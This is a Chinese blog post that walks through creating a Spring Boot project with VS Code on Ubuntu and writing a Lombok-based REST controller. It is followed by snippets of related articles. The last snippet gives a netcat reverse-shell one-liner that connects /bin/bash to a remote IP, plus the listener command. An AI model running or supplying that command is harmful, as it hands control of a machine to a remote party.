目的

我们将在Ubuntu桌面系统下,使用VS Code(Visual Studio Code)编辑器从零开始创建一个Spring Boot工程,并实现一个简单的RESTful风格接口。使用这套流程的好处是我们不用将精力或金钱花费在各种需要授权的系统或软件上。

这篇文章不是长篇大论的具体教程,只是梳理下完成目标任务所需的步骤。比较简单的步骤我会给出操作方法或代码,而需要花时间学习(也就几分钟)的步骤我尽量给出官方参考页面。

最终所创建的工程可以在我的Github页面找到:springboot-demo

环境需要

  • Linux桌面发行版,我用的是Ubuntu 20.04.3 LTS,若你使用其他发行版本,也许只在VS Code、JDK等软件的安装方法上有些差别,但这些在以下的参考链接中几乎都有所覆盖。
  • 支持Java的VS Code环境
  • 给VS Code安装扩展:Spring Boot Extension Pack
  • JDK11或者更新版本(本文参考链接里给出的是oracle发布的JDK,也可以自行安装其他开源的JDK版本,如Zulu11-jdk
  • 可选,版本管理工具,安装GIT,若已有则忽略。

创建一个新工程

  • 在Terminal中键入code打开一个VS Code界面
  • 创建一个SpringBoot工程
    • 方法1:在VSC界面的Walkthroughts区域选择Getting Started with Spring Boot in VS Code -> Create a new Spring Boot project -> 选择版本、语言、java版本、项目名、依赖、存储目录等等。
    • 方法2:按组合键Ctrl+Shift+P,在命令窗口,输入 Spring 选择创建 Maven 项目,后续步骤类似。
  • 创建好后稍等一会,等下载完依赖就可以在左侧的JAVA PROJECT列表查看项目结构了。

调试&运行

同样,有多种方法可以进行工程的调试运行,这里使用左侧SPRING BOOT DASHBOARD面板,选中项目名,点击 Start 或者 Debug 按钮即可开始运行或调试该工程。

当然这里写的比较简单,如何设置环境变量、运行环境以及调试时的断点设置以后具体写写。

写一个RESTful接口

可以根据上面官方的向导写一个GreetingController。这里与官方示例有一点不同的是我使用lombok依赖提供的注解构造了一个GreetingModel类,来简化写法。使用@Data注解可以使你的类里的属性自动生成set和get方法,更详细注解使用方法就不赘述了。

@Data
@AllArgsConstructor
public class GreetingModel { private final long id;
private final String content;
}

遇到的问题

完成本文内容我遇到了些小坑,这里记录下

  • 使用@Data等lombok注解无效,可能是你的VSCode没有装这个扩展:Lombok Annotations Support for VS Code

本文参考

Building a Guide with VS Code

Building a RESTful Web Service

VsCode搭建Java开发环境(Spring Boot项目创建、运行、调试)

@Data无效的解决方法

Ubuntu下使用VS Code创建Spring Boot工程的更多相关文章

  1. 基于VS Code创建Spring Boot项目开发REST API(一)

    公司从.NET转向Java不仅仅是简单的代码变成Java,趁此机会对原有的架构和代码重构,融入新的概念和技术.目前通过前后端分离,将后端更多的微服务化.从.NET转向Java我们更多的是用Java开发 ...

  2. 创建Spring Boot 工程

    先在eclipse中安装spring -tool -suite插件,然后根据以下步骤可以创建   1.新建Spring Starter Project 2.Packaging 选择 jar 3.勾选W ...

  3. MAC系统下用Idea创建spring boot工程 基于maven

    1.创建项目 打开idea编辑器,选择file  -> new -> project 点击next 依次填入group,artifact 填写完成之后再点击“next” 根据自己的需求在最 ...

  4. 在eclipse下,用Maven创建Spring MVC工程

    参考链接:https://www.cnblogs.com/yangyxd/p/5955630.html 1.打开Eclipse,Ctrl + N  创建Maven

  5. Spring Boot2 系列教程(二)创建 Spring Boot 项目的三种方式

    我最早是 2016 年底开始写 Spring Boot 相关的博客,当时使用的版本还是 1.4.x ,文章发表在 CSDN 上,阅读量最大的一篇有 43W+,如下图: 2017 年由于种种原因,就没有 ...

  6. Spring Boot入门(一):使用IDEA创建Spring Boot项目并使用yaml配置文件

    由于公司最近在做技术转型(从.Net转Java),因此自己也开启了学习Java之路.学习Java怎么能不学习这几年这么火的Spring Boot框架,由于自己有总结的习惯,因此会把学习的过程以博客的形 ...

  7. 学习创建spring boot

    一.什么是spring boot? Spring Boot是由Pivotal团队提供的全新框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程.该框架使用了特定的方式来进行配置,从而使开 ...

  8. IDEA 创建Spring Boot 项目

    一.准备环境 配置Maven,打开设置页面File - Setting,快捷键Ctrl + Alt + S,找到Maven,默认是IDEA 自带的插件,User setting file 配置文件默认 ...

  9. 创建Spring Boot项目的几种方式总结

    一.我们可以使用Spring Initializr来创建SpringBoot项目. Spring Initializr从本质上来说就是一个Web应用程序,它能为你生成Spring Boot项目结构.虽 ...

随机推荐

  1. nodejs+koa+uniapp实现微信小程序登陆获取用户手机号及openId

    nodejs+koa+uniapp实现微信小程序登陆获取用户手机号及openId 前言: 我准备用nodejs+koa+uniapp实现一款餐饮点单小程序,以及nodejs+koa+vue实现后端管理 ...

  2. CF1177A Digits Sequence (Easy Edition) 题解

    Content 一个序列由从 \(1\) 开始的数字不断在末端拼接,就像这样:\(12345678910111213141516...\).现在,给定一个数字 \(k\),请输出这个序列的第 \(k\ ...

  3. LuoguP4419 [COCI2017-2018#1] Cezar 题解

    Content 有一个牌库,有一些点数为 \(1\sim 11\) 的牌,其中除了点数为 \(10\) 的牌有 \(16\) 张之外,其余点数的牌各有四张.现在玩一个游戏,已经拿出了 \(n\) 张牌 ...

  4. MAVEN基础讲解

    MAVEN解决的问题 1.当我们开始一个工程的时候往往需要几十甚至上百个jar包,如果没有一个管理工具的话,结果就是每个都需要自己手动导入工程目录,并且还有可能发生jar包冲突,版本冲突等问题 2.在 ...

  5. IDEA版本2020.1全局MAVEN配置

    我们用IDEA打开项目有时候要每次配置maven地址,这样就很麻烦 我们可以直接设置全局的 这样所有新打开的项目都能使用

  6. 【LeetCode】1056. Confusing Number 解题报告(C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 字典 日期 题目地址:https://leetcode ...

  7. 【LeetCode】1114. Print in Order 解题报告(C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 mutex锁 promise/future 日期 题 ...

  8. 晴天小猪历险记之Hill(Dijkstra优先队列优化)

    描述 这一天,他来到了一座深山的山脚下,因为只有这座深山中的一位隐者才知道这种药草的所在.但是上山的路错综复杂,由于小小猪的病情,晴天小猪想找一条需时最少的路到达山顶,但现在它一头雾水,所以向你求助. ...

  9. 『学了就忘』vim编辑器基础 — 95、命令模式中的相关命令

    目录 1.移动光标操作 2.删除或剪切操作 3.复制操作 4.撤销操作 5.替换操作 6.补充一个知识点 命令模式中的命令主要取代的是Linux系统中鼠标的操作. vim编辑器的快捷键一般都集中在命令 ...

  10. Netcat反弹shell的方法

    VPS监听: aliyun:  nc -lvnp 7777 监听7777端口 被监听: nc -w 10 -e /bin/bash 8.130.49.121 7777  (-w:连接超时时间 -e 使 ...